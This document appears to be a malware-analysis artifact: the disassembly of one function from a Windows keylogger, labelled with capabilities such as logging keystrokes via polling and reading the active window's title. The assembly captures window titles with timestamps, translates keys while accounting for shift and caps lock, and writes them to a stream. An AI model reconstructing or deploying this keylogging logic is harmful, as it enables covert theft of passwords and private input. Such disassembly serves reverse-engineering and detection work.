Function at 0x1400015bf
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x340], ecx
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::basic_stringstream__
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0x308], rax
mov qword [rbp + 0x318], 0
cmp qword [rbp + 0x308], 0
je 0x140001640
mov rax, qword [rbp + 0x308]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov dword [rbp + 0x304], eax
mov eax, dword [rbp + 0x304]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardLayout]
call rax
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x308], 0
je 0x140001744
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x308]
mov r8d, 0x100
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rax, [rbp + 0x10]
lea rdx, [0x14000a2a0]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001744
lea rax, [rbp + 0x10]
mov r8, rax
mov edx, 0x100
lea rax, [0x14000a2a0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcpy_s]
call rax
mov ecx, 0
call sym.time
mov qword [rbp + 0x118], rax
lea rdx, [rbp + 0x118]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.localtime_s
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x30]
mov r9, rdx
lea r8, str._FT_X_z
mov edx, 0x40
mov rcx, rax
call sym.strftime
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._n_n_Window:
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x10]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, str.___at
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x30]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [0x140007057]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [0x14000a260]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.end___const
mov qword [rbp + 0x2b0], rax
lea rdx, [rbp + 0x340]
lea rax, [0x14000a260]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.find_int_const
mov qword [rbp + 0x2b8], rax
lea rdx, [rbp + 0x2b0]
lea rax, [rbp + 0x2b8]
mov rcx, rax
call method.std.operator__std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char________const__std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::cha
test al, al
je 0x1400017c2
lea rdx, [rbp + 0x340]
lea rax, [0x14000a260]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.at_int_const__
mov rdx, rax
lea rax, [rbp + 0x120]
add rax, 0x10
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x1400018a3
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
setne al
mov byte [rbp + 0x316], al
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x140001827
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x140001827
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
je 0x14000182e
mov eax, 1
jmp 0x140001833
mov eax, 0
test al, al
je 0x14000183e
xor byte [rbp + 0x316], 1
mov eax, dword [rbp + 0x340]
mov ecx, eax
mov rax, qword [rbp + 0x318]
mov r8, rax
mov edx, 2
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyExA]
call rax
mov byte [rbp + 0x317], al
movzx eax, byte [rbp + 0x316]
xor eax, 1
test al, al
je 0x14000188a
movsx eax, byte [rbp + 0x317]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_tolower]
call rax
mov byte [rbp + 0x317], al
movsx eax, byte [rbp + 0x317]
lea rdx, [rbp + 0x120]
lea rcx, [rdx + 0x10]
mov edx, eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
lea rax, [rbp + 0x2c0]
mov rdx, rax
lea rax, [0x14000a080]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [0x14000a080]
mov rcx, rax
call sym.std::ostream::flush__
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
lea rax, [rbp + 0x2e0]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400021a8
mov eax, ebx
jmp 0x14000198b
add rsp, 0x3a8
pop rbx
pop rbp
ret